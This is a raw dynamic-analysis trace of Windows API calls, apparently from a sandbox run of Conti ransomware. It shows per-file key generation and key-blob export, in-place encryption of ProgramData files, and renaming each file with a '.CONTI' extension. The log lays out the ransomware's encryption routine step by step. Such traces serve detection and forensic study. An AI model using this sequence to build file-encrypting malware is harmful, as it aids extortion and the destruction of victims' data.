	[0114.187] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f4e4, pdwDataLen=0x55ffb34 | out: pbData=0x6b4f4e4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.188] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.188] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.188] GetLastError () returned 0x0
	[0114.188] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=726) returned 1
	[0114.188] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0114.189] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.189] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.189] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.189] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.189] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4f4e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4e4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0115.098] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.098] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2d6, lpOverlapped=0x0) returned 1
	[0115.099] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2d6, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2e0) returned 1
	[0115.099] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.099] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2e0, lpOverlapped=0x0) returned 1
	[0115.099] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.099] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4f4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4d8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0115.099] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.099] CloseHandle (hObject=0x3ac) returned 1
	[0116.242] GetProcessHeap () returned 0x1720000
	[0116.242] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6878830
	[0116.242] lstrcpyW (in: lpString1=0x6878830, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml"
	[0116.242] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0116.242] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\717__Connections_Cellular_Northern Michigan University (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\717__connections_cellular_northern michigan university (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0116.842] GetProcessHeap () returned 0x1720000
	[0116.842] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6878830 | out: hHeap=0x1720000) returned 1
	[0116.844] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0116.845] GetProcessHeap () returned 0x1720000
	[0116.845] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819fd0 | out: hHeap=0x1720000) returned 1
	[0116.847] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0116.847] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b52280 | out: phKey=0x6b52280*=0x6b7f0b8) returned 1
	[0116.851] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52284, pdwDataLen=0x55ffb34 | out: pbData=0x6b52284*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0116.872] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.87")) returned 0x20
	[0116.872] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.87"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0116.873] GetLastError () returned 0x0
	[0116.873] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=1718881) returned 1
	[0116.873] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a3a61
	[0116.873] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.873] SetEndOfFile (hFile=0x378) returned 1
	[0116.873] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.874] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.874] WriteFile (in: hFile=0x378, lpBuffer=0x6b52284*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b52284*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0116.875] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.875] ReadFile (in: hFile=0x378, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x1a3a61, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x1a3a61, lpOverlapped=0x0) returned 1
	[0118.723] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1a3a61, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1a3a70) returned 1
	[0118.734] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.734] WriteFile (in: hFile=0x378, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x1a3a70, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x1a3a70, lpOverlapped=0x0) returned 1
	[0118.740] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.741] WriteFile (in: hFile=0x378, lpBuffer=0x6b52278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b52278*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0118.741] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.741] CloseHandle (hObject=0x378) returned 1
	[0118.741] GetProcessHeap () returned 0x1720000
	[0118.741] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.741] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87"
	[0118.741] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87.CONTI"
	[0118.741] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.87"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.87.conti")) returned 1
	[0118.742] GetProcessHeap () returned 0x1720000
	[0118.742] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.742] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0118.742] GetProcessHeap () returned 0x1720000
	[0118.742] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b7b8 | out: hHeap=0x1720000) returned 1
	[0118.742] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0118.742] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x65d2e40 | out: phKey=0x65d2e40*=0x6b7f0b8) returned 1
	[0118.742] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2e44, pdwDataLen=0x55ffb34 | out: pbData=0x65d2e44*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0118.743] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi")) returned 0x20
	[0118.743] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0118.744] GetLastError () returned 0x0
	[0118.744] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=143360) returned 1
	[0118.744] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23000
	[0118.744] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.744] SetEndOfFile (hFile=0x378) returned 1
	[0118.744] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.744] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.744] WriteFile (in: hFile=0x378, lpBuffer=0x65d2e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x65d2e44*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0118.745] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.745] ReadFile (in: hFile=0x378, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x23000, lpOverlapped=0x0) returned 1
	[0118.747] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x23000, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x23010) returned 1
	[0118.747] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.747] WriteFile (in: hFile=0x378, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x23010, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x23010, lpOverlapped=0x0) returned 1
	[0118.748] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.748] WriteFile (in: hFile=0x378, lpBuffer=0x65d2e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x65d2e38*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0118.748] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.748] CloseHandle (hObject=0x378) returned 1
	[0118.748] GetProcessHeap () returned 0x1720000
	[0118.748] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.748] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi"
	[0118.748] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI"
	[0118.748] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.conti")) returned 1
	[0118.749] GetProcessHeap () returned 0x1720000
	[0118.749] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.749] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0118.749] GetProcessHeap () returned 0x1720000
	[0118.749] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1818eb8 | out: hHeap=0x1720000) returned 1
	[0118.749] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0118.749] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x65cf538 | out: phKey=0x65cf538*=0x6b7f0b8) returned 1
	[0118.749] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf53c, pdwDataLen=0x55ffb34 | out: pbData=0x65cf53c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0118.750] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab")) returned 0x20
	[0118.750] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0118.750] GetLastError () returned 0x0
	[0118.750] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=1034506) returned 1
	[0118.750] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfc90a
	[0118.750] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.750] SetEndOfFile (hFile=0x378) returned 1
	[0118.750] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.750] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.750] WriteFile (in: hFile=0x378, lpBuffer=0x65cf53c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x65cf53c*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0118.753] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.753] ReadFile (in: hFile=0x378, lpBuffer=0x102d0000, nNumberOfBytesToRead=0xfc90a, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0xfc90a, lpOverlapped=0x0) returned 1
	[0118.760] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xfc90a, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0xfc910) returned 1
	[0118.761] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.761] WriteFile (in: hFile=0x378, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0xfc910, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0xfc910, lpOverlapped=0x0) returned 1
	[0118.763] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.763] WriteFile (in: hFile=0x378, lpBuffer=0x65cf530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x65cf530*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0118.764] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.764] CloseHandle (hObject=0x378) returned 1
	[0118.764] GetProcessHeap () returned 0x1720000
	[0118.764] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.764] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab"
	[0118.764] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.CONTI"
